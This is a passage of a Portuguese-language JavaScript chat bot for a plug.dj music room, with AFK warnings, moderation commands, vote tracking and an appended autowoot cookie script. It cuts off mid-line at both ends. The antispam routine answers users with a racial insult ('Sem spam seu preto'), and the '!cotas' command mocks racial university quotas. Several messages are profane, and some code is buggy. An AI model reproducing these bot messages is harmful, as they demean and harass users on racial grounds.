= __bind(this.getUser, this); this.getLastWarning = __bind(this.getLastWarning, this); this.getLastActivity = __bind(this.getLastActivity, this); this.getLastDrinkTime = __bind(this.getLastDrinkTime, this); this.updateDrinkTime = __bind(this.updateDrinkTime, this); this.updateActivity = __bind(this.updateActivity, this); this.init = __bind(this.init, this); this.init(); } User.prototype.init = function() { this.lastActivity = new Date(); return this.drinkTime = new Date(); }; User.prototype.updateActivity = function() { this.lastActivity = new Date(); this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.updateDrinkTime = function() { return this.drinkTime = new Date(); }; User.prototype.getLastDrinkTime = function() { return this.drinkTime; }; User.prototype.getLastActivity = function() { return this.lastActivity; }; User.prototype.getLastWarning = function() { if (this.lastWarning === null) { return false; } else { return this.lastWarning; } }; User.prototype.getUser = function() { return this.user; }; User.prototype.getWarningCount = function() { return this.afkWarningCount; }; User.prototype.getIsDj = function() { var DJs, dj, _i, _len; DJs = API.getDJs(); for (_i = 0, _len = DJs.length; _i < _len; _i++) { dj = DJs[_i]; if (this.user.id === dj.id) { return true; } } return false; }; User.prototype.warn = function() { this.afkWarningCount++; return this.lastWarning = new Date(); }; User.prototype.notDj = function() { this.afkWarningCount = 0; return this.lastWarning = null; }; User.prototype.inRoom = function(online) { return this.isInRoom = online; }; User.prototype.updateVote = function(v) { if (this.isInRoom) { return data.voteLog[this.user.id][data.currentsong.id] = v; } }; return User; })(); RoomHelper = (function() { function RoomHelper() {} RoomHelper.prototype.lookupUser = function(username) { var id, u, _ref; _ref = data.users; for (id in _ref) { u = _ref[id]; if (u.getUser().username === username) { return u.getUser(); } } return false; }; RoomHelper.prototype.userVoteRatio = function(user) { var songId, songVotes, vote, votes; songVotes = data.voteLog[user.id]; votes = { 'woot': 0, 'meh': 0 }; for (songId in songVotes) { vote = songVotes[songId]; if (vote === 1) { votes['woot']++; } else if (vote === -1) { votes['meh']++; } } votes['positiveRatio'] = (votes['woot'] / (votes['woot'] + votes['meh'])).toFixed(2); return votes; }; return RoomHelper; })(); pupOnline = function() { var currentversion, me, myname; me = API.getSelf(); myname = me.username; currentversion = "1.0.0"; log("BOT editado pelo Rafal Moraes versão " + currentversion + " Chupa Jô"); return API.sendChat("/me on"); }; populateUserData = function() { var u, users, _i, _len; users = API.getUsers(); for (_i = 0, _len = users.length; _i < _len; _i++) { u = users[_i]; data.users[u.id] = new User(u); data.voteLog[u.id] = {}; } }; initEnvironment = function() { document.getElementById("button-vote-positive").click(); document.getElementById("button-sound").click(); Playback.streamDisabled = true; return Playback.stop(); }; initialize = function() { pupOnline(); populateUserData(); initEnvironment(); initHooks(); data.startup(); data.newSong(); return data.startAfkInterval(); }; afkCheck = function() { var DJs, id, lastActivity, lastWarned, now, secsLastActive, timeSinceLastActivity, timeSinceLastWarning, twoMinutes, user, _ref, _results; _ref = data.users; _results = []; for (id in _ref) { user = _ref[id]; now = new Date(); lastActivity = user.getLastActivity(); timeSinceLastActivity = now.getTime() - lastActivity.getTime(); if (timeSinceLastActivity > data.afkTime) { if (user.getIsDj()) { secsLastActive = timeSinceLastActivity / 1000; if (user.getWarningCount() === 0) { user.warn(); _results.push(API.sendChat("@" + user.getUser().username + ", Você não falou no chat nos ultimos 30 minutos, por favor fale alguma coisa em 4 minutos ou será kickado da line de dj.")); } else if (user.getWarningCount() === 1) { lastWarned = user.getLastWarning(); timeSinceLastWarning = now.getTime() - lastWarned.getTime(); twoMinutes = 4 * 60 * 1000; if (timeSinceLastWarning > twoMinutes) { DJs = API.getDJs(); if (DJs.length > 0 && DJs[0].id !== user.getUser().id) { API.sendChat("@" + user.getUser().username + ", você foi avisado, fique ativo enquanto está na line."); API.moderateRemoveDJ(id); _results.push(user.warn()); } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(void 0); } } else { _results.push(user.notDj()); } } else { _results.push(void 0); } } return _results; }; msToStr = function(msTime) { var ms, msg, timeAway; msg = ''; timeAway = { 'days': 0, 'hours': 0, 'minutes': 0, 'seconds': 0 }; ms = { 'day': 24 * 60 * 60 * 1000, 'hour': 60 * 60 * 1000, 'minute': 60 * 1000, 'second': 1000 }; if (msTime > ms['day']) { timeAway['days'] = Math.floor(msTime / ms['day']); msTime = msTime % ms['day']; } if (msTime > ms['hour']) { timeAway['hours'] = Math.floor(msTime / ms['hour']); msTime = msTime % ms['hour']; } if (msTime > ms['minute']) { timeAway['minutes'] = Math.floor(msTime / ms['minute']); msTime = msTime % ms['minute']; } if (msTime > ms['second']) { timeAway['seconds'] = Math.floor(msTime / ms['second']); } if (timeAway['days'] !== 0) { msg += timeAway['days'].toString() + 'd'; } if (timeAway['hours'] !== 0) { msg += timeAway['hours'].toString() + 'h'; } if (timeAway['minutes'] !== 0) { msg += timeAway['minutes'].toString() + 'm'; } if (timeAway['seconds'] !== 0) { msg += timeAway['seconds'].toString() + 's'; } if (msg !== '') { return msg; } else { return false; } }; Command = (function() { function Command(msgData) { this.msgData = msgData; this.init(); } Command.prototype.init = function() { this.parseType = null; this.command = null; return this.rankPrivelege = null; }; Command.prototype.functionality = function(data) {}; Command.prototype.hasPrivelege = function() { var user; user = data.users[this.msgData.fromID].getUser(); switch (this.rankPrivelege) { case 'host': return user.permission >= 5; case 'cohost': return user.permission >= 4; case 'mod': return user.permission >= 3; case 'manager': return user.permission >= 3; case 'bouncer': return user.permission >= 2; case 'featured': return user.permission >= 1; default: return true; } }; Command.prototype.commandMatch = function() { var command, msg, _i, _len, _ref; msg = this.msgData.message; if (typeof this.command === 'string') { if (this.parseType === 'exact') { if (msg === this.command) { return true; } else { return false; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, this.command.length) === this.command) { return true; } else { return false; } } else if (this.parseType === 'contains') { if (msg.indexOf(this.command) !== -1) { return true; } else { return false; } } } else if (typeof this.command === 'object') { _ref = this.command; for (_i = 0, _len = _ref.length; _i < _len; _i++) { command = _ref[_i]; if (this.parseType === 'exact') { if (msg === command) { return true; } } else if (this.parseType === 'startsWith') { if (msg.substr(0, command.length) === command) { return true; } } else if (this.parseType === 'contains') { if (msg.indexOf(command) !== -1) { return true; } } } return false; } }; Command.prototype.evalMsg = function() { if (this.commandMatch() && this.hasPrivelege()) { this.functionality(); return true; } else { return false; } }; return Command; })(); newsCommand = (function(_super) { __extends(newsCommand, _super); function newsCommand() { _ref = newsCommand.__super__.constructor.apply(this, arguments); return _ref; } newsCommand.prototype.init = function() { this.command = '!cotas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newsCommand.prototype.functionality = function() { var msg; msg = "/me Acaba de Ativar modo Cota e roubou sua vaga na Faculdade e sua vez na Cabine de DJ!"; return API.sendChat(msg); }; return newsCommand; })(Command); newSongsCommand = (function(_super) { __extends(newSongsCommand, _super); function newSongsCommand() { _ref1 = newSongsCommand.__super__.constructor.apply(this, arguments); return _ref1; } newSongsCommand.prototype.init = function() { this.command = '!musicanovas'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; newSongsCommand.prototype.functionality = function() { var arts, cMedia, chans, chooseRandom, mChans, msg, selections, u, _ref2; mChans = this.memberChannels.slice(0); chans = this.channels.slice(0); arts = this.artists.slice(0); chooseRandom = function(list) { var l, r; l = list.length; r = Math.floor(Math.random() * l); return list.splice(r, 1); }; selections = { channels: [], artist: '' }; u = data.users[this.msgData.fromID].getUser().username; if (u.indexOf("MistaDubstep") !== -1) { selections['channels'].push('MistaDubstep'); } else if (u.indexOf("Underground Promotions") !== -1) { selections['channels'].push('UndergroundDubstep'); } else { selections['channels'].push(chooseRandom(mChans)); } selections['channels'].push(chooseRandom(chans)); selections['channels'].push(chooseRandom(chans)); cMedia = API.getMedia(); if (_ref2 = cMedia.author, __indexOf.call(arts, _ref2) >= 0) { selections['artist'] = cMedia.author; } else { selections['artist'] = chooseRandom(arts); } msg = "Querem musica de Dubstep do " + selections['artist'] + " entre! Tem musicas nova sempre em http://youtube.com/" + selections['channels'][0] + " http://youtube.com/" + selections['channels'][1] + " ou http://youtube.com/" + selections['channels'][2]; return API.sendChat(msg); }; newSongsCommand.prototype.memberChannels = ["MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.channels = ["BassRape", "MonstercatMedia", "UKFdubstep", "DropThatBassline", "VitalDubstep", "AirwaveDubstepTV", "InspectorDubplate", "TehDubstepChannel", "UNITEDubstep", "LuminantNetwork", "TheSoundIsle", "PandoraMuslc", "MrSuicideSheep", "HearTheSensation", "bassoutletpromos", "MistaDubstep", "DubStationPromotions", "UndergroundDubstep", "JesusDied4Dubstep", "DarkstepWarrior", "BombshockDubstep", "Sharestep"]; newSongsCommand.prototype.artists = ["Doctor P", "Excision", "Flux Pavilion", "Knife Party", "Rusko", "Bassnectar", "Nero", "Deadmau5", "Borgore", "Zomboy"]; return newSongsCommand; })(Command); themeCommand = (function(_super) { __extends(themeCommand, _super); function themeCommand() { _ref2 = themeCommand.__super__.constructor.apply(this, arguments); return _ref2; } themeCommand.prototype.init = function() { this.command = '!tema'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; themeCommand.prototype.functionality = function() { var msg; msg = "Temas permitidos aqui na sala. electro, techno, "; msg += "dubstep."; return API.sendChat(msg); }; return themeCommand; })(Command); rulesCommand = (function(_super) { __extends(rulesCommand, _super); function rulesCommand() { _ref3 = rulesCommand.__super__.constructor.apply(this, arguments); return _ref3; } rulesCommand.prototype.init = function() { this.command = '!regras'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; rulesCommand.prototype.functionality = function() { var msg1, msg2; msg1 = " 1) Video no Maximo 6 minutos. "; msg1 += " 2) Sem Flood! "; msg1 += " 3) Nao escrever em colorido "; msg1 += " 4) Respeitar os Adms e Mods;s "; msg1 += " 5) Nao Fiquem Pedindo Cargos "; msg2 = "Curta: http://www.facebook.com/EspecialistasDasZoeiras?ref=hl"; msg2 += ""; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return rulesCommand; })(Command); roomHelpCommand = (function(_super) { __extends(roomHelpCommand, _super); function roomHelpCommand() { _ref4 = roomHelpCommand.__super__.constructor.apply(this, arguments); return _ref4; } roomHelpCommand.prototype.init = function() { this.command = '!ajuda'; this.parseType = 'startsWith'; return this.rankPrivelege = 'featured'; }; roomHelpCommand.prototype.functionality = function() { var msg1, msg2; msg1 = "Bem vindo a Sala! Para ser o DJ, Criar uma lista de reprodução e coloque Musica do Youtube ou soundcloud. "; msg1 += "Se é novo procure pelo seu nome na sua tela (do lado da cabine de dj e clique) e depois mude o nome."; msg2 = "Para Ganhar Pontos é só clica em Bacana. "; msg2 += "Digite !regras pare ler as porra das regras."; API.sendChat(msg1); return setTimeout((function() { return API.sendChat(msg2); }), 750); }; return roomHelpCommand; })(Command); afksCommand = (function(_super) { __extends(afksCommand, _super); function afksCommand() { _ref5 = afksCommand.__super__.constructor.apply(this, arguments); return _ref5; } afksCommand.prototype.init = function() { this.command = '!afks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; afksCommand.prototype.functionality = function() { var dj, djAfk, djs, msg, now, _i, _len; msg = ''; djs = API.getDJs(); for (_i = 0, _len = djs.length; _i < _len; _i++) { dj = djs[_i]; now = new Date(); djAfk = now.getTime() - data.users[dj.id].getLastActivity().getTime(); if (djAfk > (5 * 60 * 1000)) { if (msToStr(djAfk) !== false) { msg += dj.username + ' - ' + msToStr(djAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return afksCommand; })(Command); allAfksCommand = (function(_super) { __extends(allAfksCommand, _super); function allAfksCommand() { _ref6 = allAfksCommand.__super__.constructor.apply(this, arguments); return _ref6; } allAfksCommand.prototype.init = function() { this.command = '!todosafks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; allAfksCommand.prototype.functionality = function() { var msg, now, u, uAfk, usrs, _i, _len; msg = ''; usrs = API.getUsers(); for (_i = 0, _len = usrs.length; _i < _len; _i++) { u = usrs[_i]; now = new Date(); uAfk = now.getTime() - data.users[u.id].getLastActivity().getTime(); if (uAfk > (10 * 60 * 1000)) { if (msToStr(uAfk) !== false) { msg += u.username + ' - ' + msToStr(uAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return allAfksCommand; })(Command); statusCommand = (function(_super) { __extends(statusCommand, _super); function statusCommand() { _ref7 = statusCommand.__super__.constructor.apply(this, arguments); return _ref7; } statusCommand.prototype.init = function() { this.command = '!status'; this.parseType = 'exact'; return this.rankPrivelege = 'featured'; }; statusCommand.prototype.functionality = function() { var day, hour, launch, lt, meridian, min, month, msg, t, totals; lt = data.launchTime; month = lt.getMonth() + 1; day = lt.getDate(); hour = lt.getHours(); meridian = hour % 12 === hour ? 'AM' : 'PM'; min = lt.getMinutes(); min = min < 10 ? '0' + min : min; t = data.totalVotingData; t['songs'] = data.songCount; launch = 'Iniciada em ' + month + '/' + day + ' ' + hour + ':' + min + ' ' + meridian + '. '; totals = '' + t.songs + ' Teve: :+1: ' + t.woots + ',:-1: ' + t.mehs + ',:heart: ' + t.curates + '.' msg = launch + totals; return API.sendChat(msg); }; return statusCommand; })(Command); dieCommand = (function(_super) { __extends(dieCommand, _super); function dieCommand() { _ref8 = dieCommand.__super__.constructor.apply(this, arguments); return _ref8; } dieCommand.prototype.init = function() { this.command = '!adeus'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; dieCommand.prototype.functionality = function() { API.sendChat("Acho que fui envenenado!"); undoHooks(); API.sendChat("Vish,"); data.implode(); return API.sendChat("Morri! x_x"); }; return dieCommand; })(Command); reloadCommand = (function(_super) { __extends(reloadCommand, _super); function reloadCommand() { _ref9 = reloadCommand.__super__.constructor.apply(this, arguments); return _ref9; } reloadCommand.prototype.init = function() { this.command = '!reload'; this.parseType = 'exact'; return this.rankPrivelege = 'Host'; }; reloadCommand.prototype.functionality = function() { var pupSrc; API.sendChat('/me Não se Preocupe o Papai Chegou'); undoHooks(); pupSrc = data.pupScriptUrl; data.implode(); return $.getScript(pupSrc); }; return reloadCommand; })(Command); lockCommand = (function(_super) { __extends(lockCommand, _super); function lockCommand() { _ref10 = lockCommand.__super__.constructor.apply(this, arguments); return _ref10; } lockCommand.prototype.init = function() { this.command = '!trava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; lockCommand.prototype.functionality = function() { return data.lockBooth(); }; return lockCommand; })(Command); unlockCommand = (function(_super) { __extends(unlockCommand, _super); function unlockCommand() { _ref11 = unlockCommand.__super__.constructor.apply(this, arguments); return _ref11; } unlockCommand.prototype.init = function() { this.command = '!destrava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; unlockCommand.prototype.functionality = function() { return data.unlockBooth(); }; return unlockCommand; })(Command); removeCommand = (function(_super) { __extends(removeCommand, _super); function removeCommand() { _ref12 = removeCommand.__super__.constructor.apply(this, arguments); return _ref12; } removeCommand.prototype.init = function() { this.command = '!remove'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; removeCommand.prototype.functionality = function() { var djs, popDj; djs = API.getDJs(); popDj = djs[djs.length - 1]; return API.moderateRemoveDJ(popDj.id); }; return removeCommand; })(Command); addCommand = (function(_super) { __extends(addCommand, _super); function addCommand() { _ref13 = addCommand.__super__.constructor.apply(this, arguments); return _ref13; } addCommand.prototype.init = function() { this.command = '!add'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; addCommand.prototype.functionality = function() { var msg, name, r, user; msg = this.msgData.message; if (msg.length > this.command.length + 2) { name = msg.substr(this.command.length + 2); r = new RoomHelper(); user = r.lookupUser(name); if (user !== false) { API.moderateAddDJ(user.id); return setTimeout((function() { return data.unlockBooth(); }), 5000); } } }; return addCommand; })(Command); skipCommand = (function(_super) { __extends(skipCommand, _super); function skipCommand() { _ref14 = skipCommand.__super__.constructor.apply(this, arguments); return _ref14; } skipCommand.prototype.init = function() { this.command = '!pula'; this.parseType = 'exact'; this.rankPrivelege = 'bouncer'; return window.lastSkipTime; }; skipCommand.prototype.functionality = function() { var currentTime, millisecondsPassed; currentTime = new Date(); if (!window.lastSkipTime) { API.moderateForceSkip(); return window.lastSkipTime = currentTime; } else { millisecondsPassed = Math.round(currentTime.getTime() - window.lastSkipTime.getTime()); if (millisecondsPassed > 10000) { window.lastSkipTime = currentTime; return API.moderateForceSkip(); } } }; return skipCommand; })(Command); disconnectLookupCommand = (function(_super) { __extends(disconnectLookupCommand, _super); function disconnectLookupCommand() { _ref15 = disconnectLookupCommand.__super__.constructor.apply(this, arguments); return _ref15; } disconnectLookupCommand.prototype.init = function() { this.command = '!dcmembros'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; disconnectLookupCommand.prototype.functionality = function() { var cmd, dcHour, dcLookupId, dcMeridian, dcMins, dcSongsAgo, dcTimeStr, dcUser, disconnectInstances, givenName, id, recentDisconnect, resp, u, _i, _len, _ref16, _ref17; cmd = this.msgData.message; if (cmd.length > 11) { givenName = cmd.slice(11); _ref16 = data.users; for (id in _ref16) { u = _ref16[id]; if (u.getUser().username === givenName) { dcLookupId = id; disconnectInstances = []; _ref17 = data.userDisconnectLog; for (_i = 0, _len = _ref17.length; _i < _len; _i++) { dcUser = _ref17[_i]; if (dcUser.id === dcLookupId) { disconnectInstances.push(dcUser); } } if (disconnectInstances.length > 0) { resp = u.getUser().username + ' disconectou ' + disconnectInstances.length.toString() + ' '; if (disconnectInstances.length === 1) { resp += '. '; } else { resp += 's. '; } recentDisconnect = disconnectInstances.pop(); dcHour = recentDisconnect.time.getHours(); dcMins = recentDisconnect.time.getMinutes(); if (dcMins < 10) { dcMins = '0' + dcMins.toString(); } dcMeridian = dcHour % 12 === dcHour ? 'AM' : 'PM'; dcTimeStr = '' + dcHour + ':' + dcMins + ' ' + dcMeridian; dcSongsAgo = data.songCount - recentDisconnect.songCount; resp += 'O seu disconect mais recente foi á ' + dcTimeStr + ' (' + dcSongsAgo + ' músicas atras). '; if (recentDisconnect.waitlistPosition !== void 0) { resp += 'Ele estava ' + recentDisconnect.waitlistPosition + ' música'; if (recentDisconnect.waitlistPosition > 1) { resp += 's'; } resp += ' atras da cabine de dj.'; } else { resp += 'Ele não estava na cabine de dj.'; } API.sendChat(resp); return; } else { API.sendChat(" " + u.getUser().username + " não disconectou."); return; } } } return API.sendChat("Eu não vejo essa pessoa na sala '" + givenName + "'."); } }; return disconnectLookupCommand; })(Command); voteRatioCommand = (function(_super) { __extends(voteRatioCommand, _super); function voteRatioCommand() { _ref16 = voteRatioCommand.__super__.constructor.apply(this, arguments); return _ref16; } voteRatioCommand.prototype.init = function() { this.command = '!voteratio'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; voteRatioCommand.prototype.functionality = function() { var msg, name, r, u, votes; r = new RoomHelper(); msg = this.msgData.message; if (msg.length > 12) { name = msg.substr(12); u = r.lookupUser(name); if (u !== false) { votes = r.userVoteRatio(u); msg = u.username + " :+1: " + votes['woot'].toString() + " vez"; if (votes['woot'] === 1) { msg += ', '; } else { msg += 'es, '; } msg += "e :-1: " + votes['meh'].toString() + " veze"; if (votes['meh'] === 1) { msg += '. '; } else { msg += 'es. '; } msg += "O seu vote ratio é: " + votes['positiveRatio'].toString() + "."; return API.sendChat(msg); } else { return API.sendChat("Não parece ter alguém com esse nome de'" + name + "'"); } } else { return API.sendChat("Você quer alguma coisa? Ou você está apenas tentando me irritar."); } }; return voteRatioCommand; })(Command); avgVoteRatioCommand = (function(_super) { __extends(avgVoteRatioCommand, _super); function avgVoteRatioCommand() { _ref17 = avgVoteRatioCommand.__super__.constructor.apply(this, arguments); return _ref17; } avgVoteRatioCommand.prototype.init = function() { this.command = '!avgvoteratio'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; avgVoteRatioCommand.prototype.functionality = function() { var averageRatio, msg, r, ratio, roomRatios, uid, user, userRatio, votes, _i, _len, _ref18; roomRatios = []; r = new RoomHelper(); _ref18 = data.voteLog; for (uid in _ref18) { votes = _ref18[uid]; user = data.users[uid].getUser(); userRatio = r.userVoteRatio(user); roomRatios.push(userRatio['positiveRatio']); } averageRatio = 0.0; for (_i = 0, _len = roomRatios.length; _i < _len; _i++) { ratio = roomRatios[_i]; averageRatio += ratio; } averageRatio = averageRatio / roomRatios.length; msg = "Accounting for " + roomRatios.length.toString() + " user ratios, the average room ratio is " + averageRatio.toFixed(2).toString() + "."; return API.sendChat(msg); }; return avgVoteRatioCommand; })(Command); staffCommand = (function(_super) { __extends(staffCommand, _super); function staffCommand() { _ref18 = staffCommand.__super__.constructor.apply(this, arguments); return _ref18; } staffCommand.prototype.init = function() { this.command = '!staff'; this.parseType = 'exact'; this.rankPrivelege = 'user'; return window.lastActiveStaffTime; }; staffCommand.prototype.staff = function() { var now, staff, staffAfk, stringstaff, user, _i, _len; staff = API.getStaff(); now = new Date(); stringstaff = ""; for (_i = 0, _len = staff.length; _i < _len; _i++) { user = staff[_i]; if (user.permission > 1) { staffAfk = now.getTime() - data.users[user.id].getLastActivity().getTime(); if (staffAfk < (60 * 60 * 1000)) { stringstaff += "@" + user.username + " "; } } } if (stringstaff.length === 0) { stringstaff = "Aff pqp não tem staff ativo :'("; } return stringstaff; }; staffCommand.prototype.functionality = function() { var currentTime, millisecondsPassed, thestaff; thestaff = this.staff(); currentTime = new Date(); if (!window.lastActiveStaffTime) { API.sendChat(thestaff); return window.lastActiveStaffTime = currentTime; } else { millisecondsPassed = currentTime.getTime() - window.lastActiveStaffTime.getTime(); if (millisecondsPassed > 10000) { window.lastActiveStaffTime = currentTime; return API.sendChat(thestaff); } } }; return staffCommand; })(Command); lockskipCommand = (function(_super) { __extends(lockskipCommand, _super); function lockskipCommand() { _ref19 = lockskipCommand.__super__.constructor.apply(this, arguments); return _ref19; } lockskipCommand.prototype.init = function() { this.command = '!repetida'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; lockskipCommand.prototype.functionality = function() { return data.lockBooth(function() { return setTimeout(function() {}, API.moderateForceSkip(), setTimeout(function() { return data.unlockBooth(); }, 5000), 5000); }); }; return lockskipCommand; })(Command); channelCommand = (function(_super) { __extends(channelCommand, _super); function channelCommand() { _ref20 = channelCommand.__super__.constructor.apply(this, arguments); return _ref20; } channelCommand.prototype.init = function() { this.command = '!comandos'; this.parseType = 'startsWith'; return this.rankPrivelege = 'user'; }; channelCommand.prototype.functionality = function() { return API.sendChat("/em: Lista de comandos: https://www.google.com.br/ _|_"); }; return channelCommand; })(Command); versionCommand = (function(_super) { __extends(versionCommand, _super); function versionCommand() { _ref21 = versionCommand.__super__.constructor.apply(this, arguments); return _ref21; } versionCommand.prototype.init = function() { this.command = '!version'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; versionCommand.prototype.functionality = function() { return API.sendChat("/me BOT editado 1.0 " + currentversion); }; return versionCommand; })(Command); cmds = [newSongsCommand, themeCommand, rulesCommand, roomHelpCommand, afksCommand, allAfksCommand, statusCommand, dieCommand, reloadCommand, lockCommand, unlockCommand, removeCommand, addCommand, skipCommand, disconnectLookupCommand, voteRatioCommand, avgVoteRatioCommand, staffCommand, lockskipCommand, versionCommand, newsCommand, channelCommand]; chatCommandDispatcher = function(chat) { var c, cmd, _i, _len, _results; chatUniversals(chat); _results = []; for (_i = 0, _len = cmds.length; _i < _len; _i++) { cmd = cmds[_i]; c = new cmd(chat); if (c.evalMsg()) { break; } else { _results.push(void 0); } } return _results; }; updateVotes = function(obj) { data.currentwoots = obj.positive; data.currentmehs = obj.negative; return data.currentcurates = obj.curates; }; announceCurate = function(obj) { return APIsendChat("/em: " + obj.user.username + " Gostou dessa Musica!"); }; handleUserJoin = function(user) { data.userJoin(user); return data.users[user.id].updateActivity(); }; handleNewSong = function(obj) { var songId; data.intervalMessages(); if (data.currentsong === null) { data.newSong(); } else { API.sendChat("/em: " + data.currentsong.title + " por " + data.currentsong.author + ". :+1: " + data.currentwoots + ", :-1: " + data.currentmehs + ", :heart: " + data.currentcurates + "."); data.newSong(); document.getElementById("button-vote-positive").click(); } if (data.forceSkip) { songId = obj.media.id; return setTimeout(function() { var cMedia; cMedia = API.getMedia(); if (cMedia.id === songId) { return API.moderateForceSkip(); } }, obj.media.duration * 1000); } }; handleVote = function(obj) { return data.users[obj.user.id].updateVote(obj.vote); }; handleUserLeave = function(user) { var disconnectStats, i, u, _i, _len, _ref22; disconnectStats = { id: user.id, time: new Date(), songCount: data.songCount }; i = 0; _ref22 = data.internalWaitlist; for (_i = 0, _len = _ref22.length; _i < _len; _i++) { u = _ref22[_i]; if (u.id === user.id) { disconnectStats['waitlistPosition'] = i - 1; data.setInternalWaitlist(); break; } else { i++; } } data.userDisconnectLog.push(disconnectStats); return data.users[user.id].inRoom(false); }; antispam = function(chat) { var plugRoomLinkPatt, sender; plugRoomLinkPatt = /(\bhttps?:\/\/(www.)?plug\.dj[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig; if (plugRoomLinkPatt.exec(chat.message)) { sender = API.getUser(chat.fromID); if (!sender.ambassador && !sender.moderator && !sender.owner && !sender.superuser) { if (!data.users[chat.fromID]["protected"]) { API.sendChat("Sem spam seu preto"); return API.moderateDeleteChat(chat.chatID); } else { return API.sendChat("Eu deveria expulsá-lo, mas estamos aqui para se diverti!"); } } } }; fans = function(chat) { var msg; msg = chat.message.toLowerCase(); if (msg.indexOf('eowkreowr') !== -1 || msg.indexOf('dsjaodas') !== -1 || msg.indexOf('poekpower') !== -1 || msg.indexOf('fokdsofsdpof') !== -1 || msg.indexOf(':trollface:') !== -1 || msg.indexOf('autowoot:') !== -1) { return API.moderateDeleteChat(chat.chatID); } }; chatUniversals = function(chat) { data.activity(chat); antispam(chat); return fans(chat); }; hook = function(apiEvent, callback) { return API.addEventListener(apiEvent, callback); }; unhook = function(apiEvent, callback) { return API.removeEventListener(apiEvent, callback); }; apiHooks = [ { 'event': API.ROOM_SCORE_UPDATE, 'callback': updateVotes }, { 'event': API.CURATE_UPDATE, 'callback': announceCurate }, { 'event': API.USER_JOIN, 'callback': handleUserJoin }, { 'event': API.DJ_ADVANCE, 'callback': handleNewSong }, { 'event': API.VOTE_UPDATE, 'callback': handleVote }, { 'event': API.CHAT, 'callback': chatCommandDispatcher }, { 'event': API.USER_LEAVE, 'callback': handleUserLeave } ]; initHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(hook(pair['event'], pair['callback'])); } return _results; }; undoHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(unhook(pair['event'], pair['callback'])); } return _results; }; initialize(); }).call(this); delay(); loadDammit(); function delay() { setTimeout("load();", 6000); } function load() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://cookies.googlecode.com/svn/trunk/jaaulde.cookies.js'; script.onreadystatechange = function() { if (this.readyState == 'complete') { loaded(); } } script.onload = readCookies; head.appendChild(script); } function loaded() { loaded = true } function loadDammit() { if (loaded == true) { readCookies(); } } function readCookies() { var currentDate = new Date(); currentDate.setFullYear(currentDate.getFullYear() + 1); var newOptions = { expiresAt: currentDate } jaaulde.utils.cookies.setOptions(newOptions); var value = jaaulde.utils.cookies.get(COOKIE_WOOT); autowoot = value != null ? value : false; value = jaaulde.utils.cookies.get(COOKIE_QUEUE); autoqueue = value != null ? value : false; value = jaaulde.utils.cookies.set(COOKIE_STREAM); stream = value != null ? value : true; value = jaaulde.utils.cookies.get(COOKIE_HIDE_VIDEO); hideVideo = value != null ? value : false; onCookiesLoaded(); } function onCookiesLoaded() { if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6005); } if (autoqueue && !isInQueue()) { joinQueue(); } if (hideVideo) { $('#yt-frame').animate({'height': (hideVideo ? '0px' : '271px')}, {duration: 'fast'}); $('#playback .frame-background').animate({'opacity': (hideVideo ? '0' : '0.91')}, {duration: 'medium'}); } initAPIListeners(); displayUI(); initUIListeners(); populateUserlist(); } var words = { "Points" : "Beats!", "Now Playing" : "Now Spinning!", "Time Remaining" : "Time Remaining!", "Volume" : "Crank the Volume!", "Current DJ" : "Disk Jockey", "Crowd Response" : "Crowd Reaction!", "Fans":"Stalkers!"}; String.prototype.prepareRegex = function() { return this.replace(/([[]^&\$.()\?\/\+{}|])/g, "\$1"); }; function isOkTag(tag) { return (",pre,blockquote,code,input,button,textarea".indexOf(","+tag) == -1); } var regexs=new Array(), replacements=new Array(); for(var word in words) { if(word != "") { regexs.push(new RegExp("\b"+word.prepareRegex().replace(/*/g,'[^ ]*')+"\b", 'gi')); replacements.push(words[word]); } } var texts = document.evaluate(".//text()[normalize-space(.)!='']",document.body,null,6,null), text=""; for(var i=0,l=texts.snapshotLength; (this_text=texts.snapshotItem(i)); i++) { if(isOkTag(this_text.parentNode.tagName.toLowerCase()) && (text=this_text.textContent)) { for(var x=0,l=regexs.length; x<l; x++) { text = text.replace(regexs[x], replacements[x]); this_text.textContent = text; } } } var loaded = false; var mentioned = false; var clicked = false; var skipped = false; var timeToWait = 120000; var clickWait = 5000; var skipWait = 601; var timePassed = 0; var clickPassed = 0; var skipPassed = 0; var timer = null; var clickTimer = null; var skipTimer = null; var COOKIE_WOOT = 'autowoot'; var COOKIE_QUEUE = 'autoqueue'; var COOKIE_STREAM = 'stream'; var COOKIE_HIDE_VIDEO = 'hidevideo'; var 